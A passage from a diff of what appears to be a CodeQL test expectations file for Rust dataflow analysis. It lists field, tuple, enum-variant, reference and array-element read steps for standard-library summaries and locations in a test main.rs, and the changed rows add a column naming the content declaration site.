Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::option::Option::Some(0)].Reference in lang:core::_::::clone | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::and_then | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::option::Option::Some(0)].Field[0] in lang:core::_::::and_then | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::cloned | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::option::Option::Some(0)].Reference in lang:core::_::::cloned | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::copied | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::option::Option::Some(0)].Reference in lang:core::_::::copied | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::transpose | Err | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::option::Option::Some(0)].Field[crate::result::Result::Err(0)] in lang:core::_::::transpose | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::transpose | Ok | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::option::Option::Some(0)].Field[crate::result::Result::Ok(0)] in lang:core::_::::transpose | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::unzip | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::option::Option::Some(0)].Field[0] in lang:core::_::::unzip | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::unzip | tuple.1 | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::option::Option::Some(0)].Field[1] in lang:core::_::::unzip | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::result::Result::Err(0)] in lang:core::_::::unwrap_or_else | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::result::Result::Err(0)].Reference in lang:core::_::::unwrap_or_else | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::result::Result::Ok(0)] in lang:core::_::::cloned | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::result::Result::Ok(0)].Reference in lang:core::_::::cloned | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::result::Result::Ok(0)] in lang:core::_::::copied | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::result::Result::Ok(0)].Reference in lang:core::_::::copied | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::result::Result::Ok(0)] in lang:core::_::::transpose | Some | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::result::Result::Ok(0)].Field[crate::option::Option::Some(0)] in lang:core::_::::transpose | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::<&&str as crate::string::SpecToString>::spec_to_string | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:alloc::_::<&&str as crate::string::SpecToString>::spec_to_string | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::<&str as crate::string::SpecToString>::spec_to_string | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:alloc::_::<&str as crate::string::SpecToString>::spec_to_string | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::borrow | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:alloc::_::::borrow | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::borrow | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:alloc::_::::borrow | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::borrow_mut | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:alloc::_::::borrow_mut | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::as_mut | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:alloc::_::::as_mut | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::as_ref | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:alloc::_::::as_ref | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::deref | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:alloc::_::::deref | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:alloc::_::::deref_mut | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::borrow | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:alloc::_::::borrow | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::as_ref | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:alloc::_::::as_ref | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::borrow | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:alloc::_::::borrow | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::borrow_mut | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:alloc::_::::borrow_mut | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::as_mut | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:alloc::_::::as_mut | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::as_ref | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:alloc::_::::as_ref | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::borrow | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:alloc::_::::borrow | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::as_ref | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:alloc::_::::as_ref | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::<&_ as crate::borrow::Borrow>::borrow | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:core::_::<&_ as crate::borrow::Borrow>::borrow | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::<&mut _ as crate::borrow::Borrow>::borrow | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:core::_::<&mut _ as crate::borrow::Borrow>::borrow | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::<&mut _ as crate::borrow::BorrowMut>::borrow_mut | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:core::_::<&mut _ as crate::borrow::BorrowMut>::borrow_mut | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::<_ as crate::str::pattern::MultiCharEq>::matches | function return | file://:0:0:0:0 | [summary] read: Argument[self].Reference.ReturnValue in lang:core::_::<_ as crate::str::pattern::MultiCharEq>::matches | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::as_mut | Some | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::option::Option::Some(0)] in lang:core::_::::as_mut | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::as_ref | Some | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::option::Option::Some(0)] in lang:core::_::::as_ref | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::get_or_insert | Some | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::option::Option::Some(0)] in lang:core::_::::get_or_insert | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::get_or_insert_default | Some | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::option::Option::Some(0)] in lang:core::_::::get_or_insert_default | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::get_or_insert_with | Some | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::option::Option::Some(0)] in lang:core::_::::get_or_insert_with | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::insert | Some | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::option::Option::Some(0)] in lang:core::_::::insert | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::take_if | Some | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::option::Option::Some(0)] in lang:core::_::::take_if | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::as_deref | Err | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::result::Result::Err(0)] in lang:core::_::::as_deref | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::as_deref_mut | Err | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::result::Result::Err(0)] in lang:core::_::::as_deref_mut | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::as_mut | Err | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::result::Result::Err(0)] in lang:core::_::::as_mut | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::as_mut | Ok | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::result::Result::Ok(0)] in lang:core::_::::as_mut | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::as_ref | Err | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::result::Result::Err(0)] in lang:core::_::::as_ref | -| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::as_ref | Ok | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::result::Result::Ok(0)] in lang:core::_::::as_ref | -| main.rs:36:9:36:15 | Some(...) | Some | main.rs:36:14:36:14 | _ | -| main.rs:90:11:90:11 | i | &ref | main.rs:90:10:90:11 | * ... | -| main.rs:98:10:98:10 | a | tuple.0 | main.rs:98:10:98:12 | a.0 | -| main.rs:99:10:99:10 | a | tuple.1 | main.rs:99:10:99:12 | a.1 | -| main.rs:104:9:104:20 | TuplePat | tuple.0 | main.rs:104:10:104:11 | a0 | -| main.rs:104:9:104:20 | TuplePat | tuple.1 | main.rs:104:14:104:15 | a1 | -| main.rs:104:9:104:20 | TuplePat | tuple.2 | main.rs:104:18:104:19 | a2 | -| main.rs:112:10:112:10 | a | tuple.0 | main.rs:112:10:112:12 | a.0 | -| main.rs:113:10:113:10 | a | tuple.1 | main.rs:113:10:113:12 | a.1 | -| main.rs:114:5:114:5 | a | tuple.0 | main.rs:114:5:114:7 | a.0 | -| main.rs:115:5:115:5 | a | tuple.1 | main.rs:115:5:115:7 | a.1 | -| main.rs:116:10:116:10 | a | tuple.0 | main.rs:116:10:116:12 | a.0 | -| main.rs:117:10:117:10 | a | tuple.1 | main.rs:117:10:117:12 | a.1 | -| main.rs:123:10:123:10 | b | tuple.0 | main.rs:123:10:123:12 | b.0 | -| main.rs:123:10:123:12 | b.0 | tuple.0 | main.rs:123:10:123:15 | ... .0 | -| main.rs:124:10:124:10 | b | tuple.0 | main.rs:124:10:124:12 | b.0 | -| main.rs:124:10:124:12 | b.0 | tuple.1 | main.rs:124:10:124:15 | ... .1 | -| main.rs:125:10:125:10 | b | tuple.1 | main.rs:125:10:125:12 | b.1 | -| main.rs:138:10:138:10 | p | Point.x | main.rs:138:10:138:12 | p.x | -| main.rs:139:10:139:10 | p | Point.y | main.rs:139:10:139:12 | p.y | -| main.rs:144:10:144:10 | p | Point.y | main.rs:144:10:144:12 | p.y | -| main.rs:145:5:145:5 | p | Point.y | main.rs:145:5:145:7 | p.y | -| main.rs:146:10:146:10 | p | Point.y | main.rs:146:10:146:12 | p.y | -| main.rs:154:9:154:28 | Point {...} | Point.x | main.rs:154:20:154:20 | a | -| main.rs:154:9:154:28 | Point {...} | Point.y | main.rs:154:26:154:26 | b | -| main.rs:172:10:172:10 | p | Point3D.plane | main.rs:172:10:172:16 | p.plane | -| main.rs:172:10:172:16 | p.plane | Point.x | main.rs:172:10:172:18 | ... .x | -| main.rs:173:10:173:10 | p | Point3D.plane | main.rs:173:10:173:16 | p.plane | -| main.rs:173:10:173:16 | p.plane | Point.y | main.rs:173:10:173:18 | ... .y | -| main.rs:174:10:174:10 | p | Point3D.z | main.rs:174:10:174:12 | p.z | -| main.rs:184:9:187:9 | Point3D {...} | Point3D.plane | main.rs:185:20:185:33 | Point {...} | -| main.rs:184:9:187:9 | Point3D {...} | Point3D.z | main.rs:186:13:186:13 | z | -| main.rs:185:20:185:33 | Point {...} | Point.x | main.rs:185:28:185:28 | x | -| main.rs:185:20:185:33 | Point {...} | Point.y | main.rs:185:31:185:31 | y | -| main.rs:199:10:199:10 | s | MyTupleStruct(0) | main.rs:199:10:199:12 | s.0 | -| main.rs:199:10:199:10 | s | tuple.0 | main.rs:199:10:199:12 | s.0 | -| main.rs:200:10:200:10 | s | MyTupleStruct(1) | main.rs:200:10:200:12 | s.1 | -| main.rs:200:10:200:10 | s | tuple.1 | main.rs:200:10:200:12 | s.1 | -| main.rs:203:9:203:27 | MyTupleStruct(...) | MyTupleStruct(0) | main.rs:203:23:203:23 | x | -| main.rs:203:9:203:27 | MyTupleStruct(...) | MyTupleStruct(1) | main.rs:203:26:203:26 | y | -| main.rs:217:9:217:23 | ...::Some(...) | Some | main.rs:217:22:217:22 | n | -| main.rs:221:9:221:23 | ...::Some(...) | Some | main.rs:221:22:221:22 | n | -| main.rs:230:9:230:15 | Some(...) | Some | main.rs:230:14:230:14 | n | -| main.rs:234:9:234:15 | Some(...) | Some | main.rs:234:14:234:14 | n | -| main.rs:263:14:263:15 | s1 | Ok | main.rs:263:14:263:16 | TryExpr | -| main.rs:263:14:263:15 | s1 | Some | main.rs:263:14:263:16 | TryExpr | -| main.rs:265:10:265:11 | s2 | Ok | main.rs:265:10:265:12 | TryExpr | -| main.rs:265:10:265:11 | s2 | Some | main.rs:265:10:265:12 | TryExpr | -| main.rs:287:14:287:15 | s1 | Ok | main.rs:287:14:287:16 | TryExpr | -| main.rs:287:14:287:15 | s1 | Some | main.rs:287:14:287:16 | TryExpr | -| main.rs:288:14:288:15 | s2 | Ok | main.rs:288:14:288:16 | TryExpr | -| main.rs:288:14:288:15 | s2 | Some | main.rs:288:14:288:16 | TryExpr | -| main.rs:291:14:291:15 | s3 | Ok | main.rs:291:14:291:16 | TryExpr | -| main.rs:291:14:291:15 | s3 | Some | main.rs:291:14:291:16 | TryExpr | -| main.rs:315:9:315:25 | ...::A(...) | A | main.rs:315:24:315:24 | n | -| main.rs:316:9:316:25 | ...::B(...) | B | main.rs:316:24:316:24 | n | -| main.rs:319:9:319:25 | ...::A(...) | A | main.rs:319:24:319:24 | n | -| main.rs:319:29:319:45 | ...::B(...) | B | main.rs:319:44:319:44 | n | -| main.rs:322:9:322:25 | ...::A(...) | A | main.rs:322:24:322:24 | n | -| main.rs:323:9:323:25 | ...::B(...) | B | main.rs:323:24:323:24 | n | -| main.rs:333:9:333:12 | A(...) | A | main.rs:333:11:333:11 | n | -| main.rs:334:9:334:12 | B(...) | B | main.rs:334:11:334:11 | n | -| main.rs:337:9:337:12 | A(...) | A | main.rs:337:11:337:11 | n | -| main.rs:337:16:337:19 | B(...) | B | main.rs:337:18:337:18 | n | -| main.rs:340:9:340:12 | A(...) | A | main.rs:340:11:340:11 | n | -| main.rs:341:9:341:12 | B(...) | B | main.rs:341:11:341:11 | n | -| main.rs:356:9:356:38 | ...::C {...} | C | main.rs:356:36:356:36 | n | -| main.rs:357:9:357:38 | ...::D {...} | D | main.rs:357:36:357:36 | n | -| main.rs:360:9:360:38 | ...::C {...} | C | main.rs:360:36:360:36 | n | -| main.rs:360:42:360:71 | ...::D {...} | D | main.rs:360:69:360:69 | n | -| main.rs:363:9:363:38 | ...::C {...} | C | main.rs:363:36:363:36 | n | -| main.rs:364:9:364:38 | ...::D {...} | D | main.rs:364:36:364:36 | n | -| main.rs:376:9:376:24 | C {...} | C | main.rs:376:22:376:22 | n | -| main.rs:377:9:377:24 | D {...} | D | main.rs:377:22:377:22 | n | -| main.rs:380:9:380:24 | C {...} | C | main.rs:380:22:380:22 | n | -| main.rs:380:28:380:43 | D {...} | D | main.rs:380:41:380:41 | n | -| main.rs:383:9:383:24 | C {...} | C | main.rs:383:22:383:22 | n | -| main.rs:384:9:384:24 | D {...} | D | main.rs:384:22:384:22 | n | -| main.rs:393:14:393:17 | arr1 | element | main.rs:393:14:393:20 | arr1[2] | -| main.rs:397:14:397:17 | arr2 | element | main.rs:397:14:397:20 | arr2[4] | -| main.rs:401:14:401:17 | arr3 | element | main.rs:401:14:401:20 | arr3[2] | -| main.rs:407:15:407:18 | arr1 | element | main.rs:407:9:407:10 | n1 | -| main.rs:412:15:412:18 | arr2 | element | main.rs:412:9:412:10 | n2 | -| main.rs:420:9:420:17 | SlicePat | element | main.rs:420:10:420:10 | a | -| main.rs:420:9:420:17 | SlicePat | element | main.rs:420:13:420:13 | b | -| main.rs:420:9:420:17 | SlicePat | element | main.rs:420:16:420:16 | c | -| main.rs:430:10:430:16 | mut_arr | element | main.rs:430:10:430:19 | mut_arr[1] | -| main.rs:432:5:432:11 | mut_arr | element | main.rs:432:5:432:14 | mut_arr[1] | -| main.rs:433:13:433:19 | mut_arr | element | main.rs:433:13:433:22 | mut_arr[1] | -| main.rs:435:10:435:16 | mut_arr | element | main.rs:435:10:435:19 | mut_arr[0] | -| main.rs:442:9:442:20 | TuplePat | tuple.0 | main.rs:442:10:442:13 | cond | -| main.rs:442:9:442:20 | TuplePat | tuple.1 | main.rs:442:16:442:19 | name | -| main.rs:442:25:442:29 | names | element | main.rs:442:9:442:20 | TuplePat | -| main.rs:444:41:444:67 | [post] \|...\| ... | captured default_name | main.rs:444:41:444:67 | [post] default_name | -| main.rs:444:44:444:55 | this | captured default_name | main.rs:444:44:444:55 | default_name | -| main.rs:481:10:481:11 | vs | element | main.rs:481:10:481:14 | vs[0] | -| main.rs:482:11:482:35 | ... .unwrap() | &ref | main.rs:482:10:482:35 | * ... | -| main.rs:483:11:483:35 | ... .unwrap() | &ref | main.rs:483:10:483:35 | * ... | -| main.rs:485:14:485:15 | vs | element | main.rs:485:9:485:9 | v | -| main.rs:488:9:488:10 | &... | &ref | main.rs:488:10:488:10 | v | -| main.rs:488:15:488:23 | vs.iter() | element | main.rs:488:9:488:10 | &... | -| main.rs:493:9:493:10 | &... | &ref | main.rs:493:10:493:10 | v | -| main.rs:493:15:493:17 | vs2 | element | main.rs:493:9:493:10 | &... | -| main.rs:497:29:497:29 | x | &ref | main.rs:497:28:497:29 | * ... | -| main.rs:498:34:498:34 | x | &ref | main.rs:498:33:498:34 | * ... | -| main.rs:500:14:500:27 | vs.into_iter() | element | main.rs:500:9:500:9 | v | -| main.rs:506:10:506:15 | vs_mut | element | main.rs:506:10:506:18 | vs_mut[0] | -| main.rs:507:11:507:39 | ... .unwrap() | &ref | main.rs:507:10:507:39 | * ... | -| main.rs:508:11:508:39 | ... .unwrap() | &ref | main.rs:508:10:508:39 | * ... | -| main.rs:510:9:510:14 | &mut ... | &ref | main.rs:510:14:510:14 | v | -| main.rs:510:19:510:35 | vs_mut.iter_mut() | element | main.rs:510:9:510:14 | &mut ... | -| main.rs:524:11:524:15 | c_ref | &ref | main.rs:524:10:524:15 | * ... | +| main.rs:36:9:36:15 | Some(...) | {EXTERNAL LOCATION} | Some | main.rs:36:14:36:14 | _ | +| main.rs:90:11:90:11 | i | file://:0:0:0:0 | &ref | main.rs:90:10:90:11 | * ... | +| main.rs:98:10:98:10 | a | file://:0:0:0:0 | tuple.0 | main.rs:98:10:98:12 | a.0 | +| main.rs:99:10:99:10 | a | file://:0:0:0:0 | tuple.1 | main.rs:99:10:99:12 | a.1 | +| main.rs:104:9:104:20 | TuplePat | file://:0:0:0:0 | tuple.0 | main.rs:104:10:104:11 | a0 | +| main.rs:104:9:104:20 | TuplePat | file://:0:0:0:0 | tuple.1 | main.rs:104:14:104:15 | a1 | +| main.rs:104:9:104:20 | TuplePat | file://:0:0:0:0 | tuple.2 | main.rs:104:18:104:19 | a2 | +| main.rs:112:10:112:10 | a | file://:0:0:0:0 | tuple.0 | main.rs:112:10:112:12 | a.0 | +| main.rs:113:10:113:10 | a | file://:0:0:0:0 | tuple.1 | main.rs:113:10:113:12 | a.1 | +| main.rs:114:5:114:5 | a | file://:0:0:0:0 | tuple.0 | main.rs:114:5:114:7 | a.0 | +| main.rs:115:5:115:5 | a | file://:0:0:0:0 | tuple.1 | main.rs:115:5:115:7 | a.1 | +| main.rs:116:10:116:10 | a | file://:0:0:0:0 | tuple.0 | main.rs:116:10:116:12 | a.0 | +| main.rs:117:10:117:10 | a | file://:0:0:0:0 | tuple.1 | main.rs:117:10:117:12 | a.1 | +| main.rs:123:10:123:10 | b | file://:0:0:0:0 | tuple.0 | main.rs:123:10:123:12 | b.0 | +| main.rs:123:10:123:12 | b.0 | file://:0:0:0:0 | tuple.0 | main.rs:123:10:123:15 | ... .0 | +| main.rs:124:10:124:10 | b | file://:0:0:0:0 | tuple.0 | main.rs:124:10:124:12 | b.0 | +| main.rs:124:10:124:12 | b.0 | file://:0:0:0:0 | tuple.1 | main.rs:124:10:124:15 | ... .1 | +| main.rs:125:10:125:10 | b | file://:0:0:0:0 | tuple.1 | main.rs:125:10:125:12 | b.1 | +| main.rs:138:10:138:10 | p | main.rs:132:5:132:10 | Point.x | main.rs:138:10:138:12 | p.x | +| main.rs:139:10:139:10 | p | main.rs:133:5:133:10 | Point.y | main.rs:139:10:139:12 | p.y | +| main.rs:144:10:144:10 | p | main.rs:133:5:133:10 | Point.y | main.rs:144:10:144:12 | p.y | +| main.rs:145:5:145:5 | p | main.rs:133:5:133:10 | Point.y | main.rs:145:5:145:7 | p.y | +| main.rs:146:10:146:10 | p | main.rs:133:5:133:10 | Point.y | main.rs:146:10:146:12 | p.y | +| main.rs:154:9:154:28 | Point {...} | main.rs:132:5:132:10 | Point.x | main.rs:154:20:154:20 | a | +| main.rs:154:9:154:28 | Point {...} | main.rs:133:5:133:10 | Point.y | main.rs:154:26:154:26 | b | +| main.rs:172:10:172:10 | p | main.rs:160:5:160:16 | Point3D.plane | main.rs:172:10:172:16 | p.plane | +| main.rs:172:10:172:16 | p.plane | main.rs:132:5:132:10 | Point.x | main.rs:172:10:172:18 | ... .x | +| main.rs:173:10:173:10 | p | main.rs:160:5:160:16 | Point3D.plane | main.rs:173:10:173:16 | p.plane | +| main.rs:173:10:173:16 | p.plane | main.rs:133:5:133:10 | Point.y | main.rs:173:10:173:18 | ... .y | +| main.rs:174:10:174:10 | p | main.rs:161:5:161:10 | Point3D.z | main.rs:174:10:174:12 | p.z | +| main.rs:184:9:187:9 | Point3D {...} | main.rs:160:5:160:16 | Point3D.plane | main.rs:185:20:185:33 | Point {...} | +| main.rs:184:9:187:9 | Point3D {...} | main.rs:161:5:161:10 | Point3D.z | main.rs:186:13:186:13 | z | +| main.rs:185:20:185:33 | Point {...} | main.rs:132:5:132:10 | Point.x | main.rs:185:28:185:28 | x | +| main.rs:185:20:185:33 | Point {...} | main.rs:133:5:133:10 | Point.y | main.rs:185:31:185:31 | y | +| main.rs:199:10:199:10 | s | file://:0:0:0:0 | tuple.0 | main.rs:199:10:199:12 | s.0 | +| main.rs:199:10:199:10 | s | main.rs:195:22:195:24 | MyTupleStruct(0) | main.rs:199:10:199:12 | s.0 | +| main.rs:200:10:200:10 | s | file://:0:0:0:0 | tuple.1 | main.rs:200:10:200:12 | s.1 | +| main.rs:200:10:200:10 | s | main.rs:195:27:195:29 | MyTupleStruct(1) | main.rs:200:10:200:12 | s.1 | +| main.rs:203:9:203:27 | MyTupleStruct(...) | main.rs:195:22:195:24 | MyTupleStruct(0) | main.rs:203:23:203:23 | x | +| main.rs:203:9:203:27 | MyTupleStruct(...) | main.rs:195:27:195:29 | MyTupleStruct(1) | main.rs:203:26:203:26 | y | +| main.rs:217:9:217:23 | ...::Some(...) | {EXTERNAL LOCATION} | Some | main.rs:217:22:217:22 | n | +| main.rs:221:9:221:23 | ...::Some(...) | {EXTERNAL LOCATION} | Some | main.rs:221:22:221:22 | n | +| main.rs:230:9:230:15 | Some(...) | {EXTERNAL LOCATION} | Some | main.rs:230:14:230:14 | n | +| main.rs:234:9:234:15 | Some(...) | {EXTERNAL LOCATION} | Some | main.rs:234:14:234:14 | n | +| main.rs:263:14:263:15 | s1 | {EXTERNAL LOCATION} | Some | main.rs:263:14:263:16 | TryExpr | +| main.rs:263:14:263:15 | s1 | {EXTERNAL LOCATION} | Ok | main.rs:263:14:263:16 | TryExpr | +| main.rs:265:10:265:11 | s2 | {EXTERNAL LOCATION} | Some | main.rs:265:10:265:12 | TryExpr | +| main.rs:265:10:265:11 | s2 | {EXTERNAL LOCATION} | Ok | main.rs:265:10:265:12 | TryExpr | +| main.rs:287:14:287:15 | s1 | {EXTERNAL LOCATION} | Some | main.rs:287:14:287:16 | TryExpr | +| main.rs:287:14:287:15 | s1 | {EXTERNAL LOCATION} | Ok | main.rs:287:14:287:16 | TryExpr | +| main.rs:288:14:288:15 | s2 | {EXTERNAL LOCATION} | Some | main.rs:288:14:288:16 | TryExpr | +| main.rs:288:14:288:15 | s2 | {EXTERNAL LOCATION} | Ok | main.rs:288:14:288:16 | TryExpr | +| main.rs:291:14:291:15 | s3 | {EXTERNAL LOCATION} | Some | main.rs:291:14:291:16 | TryExpr | +| main.rs:291:14:291:15 | s3 | {EXTERNAL LOCATION} | Ok | main.rs:291:14:291:16 | TryExpr | +| main.rs:315:9:315:25 | ...::A(...) | main.rs:307:7:307:9 | A | main.rs:315:24:315:24 | n | +| main.rs:316:9:316:25 | ...::B(...) | main.rs:308:7:308:9 | B | main.rs:316:24:316:24 | n | +| main.rs:319:9:319:25 | ...::A(...) | main.rs:307:7:307:9 | A | main.rs:319:24:319:24 | n | +| main.rs:319:29:319:45 | ...::B(...) | main.rs:308:7:308:9 | B | main.rs:319:44:319:44 | n | +| main.rs:322:9:322:25 | ...::A(...) | main.rs:307:7:307:9 | A | main.rs:322:24:322:24 | n | +| main.rs:323:9:323:25 | ...::B(...) | main.rs:308:7:308:9 | B | main.rs:323:24:323:24 | n | +| main.rs:333:9:333:12 | A(...) | main.rs:307:7:307:9 | A | main.rs:333:11:333:11 | n | +| main.rs:334:9:334:12 | B(...) | main.rs:308:7:308:9 | B | main.rs:334:11:334:11 | n | +| main.rs:337:9:337:12 | A(...) | main.rs:307:7:307:9 | A | main.rs:337:11:337:11 | n | +| main.rs:337:16:337:19 | B(...) | main.rs:308:7:308:9 | B | main.rs:337:18:337:18 | n | +| main.rs:340:9:340:12 | A(...) | main.rs:307:7:307:9 | A | main.rs:340:11:340:11 | n | +| main.rs:341:9:341:12 | B(...) | main.rs:308:7:308:9 | B | main.rs:341:11:341:11 | n | +| main.rs:356:9:356:38 | ...::C {...} | main.rs:346:9:346:20 | C | main.rs:356:36:356:36 | n | +| main.rs:357:9:357:38 | ...::D {...} | main.rs:347:9:347:20 | D | main.rs:357:36:357:36 | n | +| main.rs:360:9:360:38 | ...::C {...} | main.rs:346:9:346:20 | C | main.rs:360:36:360:36 | n | +| main.rs:360:42:360:71 | ...::D {...} | main.rs:347:9:347:20 | D | main.rs:360:69:360:69 | n | +| main.rs:363:9:363:38 | ...::C {...} | main.rs:346:9:346:20 | C | main.rs:363:36:363:36 | n | +| main.rs:364:9:364:38 | ...::D {...} | main.rs:347:9:347:20 | D | main.rs:364:36:364:36 | n | +| main.rs:376:9:376:24 | C {...} | main.rs:346:9:346:20 | C | main.rs:376:22:376:22 | n | +| main.rs:377:9:377:24 | D {...} | main.rs:347:9:347:20 | D | main.rs:377:22:377:22 | n | +| main.rs:380:9:380:24 | C {...} | main.rs:346:9:346:20 | C | main.rs:380:22:380:22 | n | +| main.rs:380:28:380:43 | D {...} | main.rs:347:9:347:20 | D | main.rs:380:41:380:41 | n | +| main.rs:383:9:383:24 | C {...} | main.rs:346:9:346:20 | C | main.rs:383:22:383:22 | n | +| main.rs:384:9:384:24 | D {...} | main.rs:347:9:347:20 | D | main.rs:384:22:384:22 | n | +| main.rs:393:14:393:17 | arr1 | file://:0:0:0:0 | element | main.rs:393:14:393:20 | arr1[2] | +| main.rs:397:14:397:17 | arr2 | file://:0:0:0:0 | element | main.rs:397:14:397:20 | arr2[4] | +| main.rs:401:14:401:17 | arr3 | file://:0:0:0:0 | element | main.rs:401:14:401:20 | arr3[2] | +| main.rs:407:15:407:18 | arr1 | file://:0:0:0:0 | element | main.rs:407:9:407:10 | n1 | +| main.rs:412:15:412:18 | arr2 | file://:0:0:0:0 | element | main.rs:412:9:412:10 | n2 | +| main.rs:420:9:420:17 | SlicePat | file://:0:0:0:0 | element | main.rs:420:10:420:10 | a | +| main.rs:420:9:420:17 | SlicePat | file://:0:0:0:0 | element | main.rs:420:13:420:13 | b | +| main.rs:420:9:420:17 | SlicePat | file://:0:0:0:0 | element | main.rs:420:16:420:16 | c | +| main.rs:430:10:430:16 | mut_arr | file://:0:0:0:0 | element | main.rs:430:10:430:19 | mut_arr[1] | +| main.rs:432:5:432:11 | mut_arr | file://:0:0:0:0 | element | main.rs:432:5:432:14 | mut_arr[1] | +| main.rs:433:13:433:19 | mut_arr | file://:0:0:0:0 | element | main.rs:433:13:433:22 | mut_arr[1] | +| main.rs:435:10:435:16 | mut_arr | 